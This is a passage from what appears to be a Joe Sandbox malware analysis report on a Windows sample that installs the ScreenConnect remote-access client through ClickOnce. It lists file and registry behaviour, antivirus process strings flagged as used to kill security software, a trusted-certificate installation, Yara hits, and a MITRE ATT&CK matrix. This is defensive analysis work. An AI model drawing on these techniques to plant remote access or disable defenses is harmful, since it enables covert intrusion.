Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\31PP32JW.PQZ\BO7AZ65A.7B3\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_00621807 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00621807

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

AV process strings found (often used to terminate AV products)

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Adds / modifies Windows certificates

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Remote Access Functionality

Yara detected ScreenConnect Tool

Source: Yara match	File source: 9.0.ScreenConnect.WindowsClient.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000000.1412836393.0000000000512000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3055864006.000001D2D9943000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3054816957.000001D2D980A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1871815455.000000000286A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3043338622.000001D2BF15F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dfsvc.exe PID: 8124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 5580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 7636, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Search Order Hijacking	1 DLL Search Order Hijacking	1 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Windows Service	1 Windows Service	1 Install Root Certificate	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	12 Process Injection	1 Timestomp	NTDS	41 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Bootkit	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Search Order Hijacking	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	41 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Users	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Bootkit	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Privilege Escalation

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe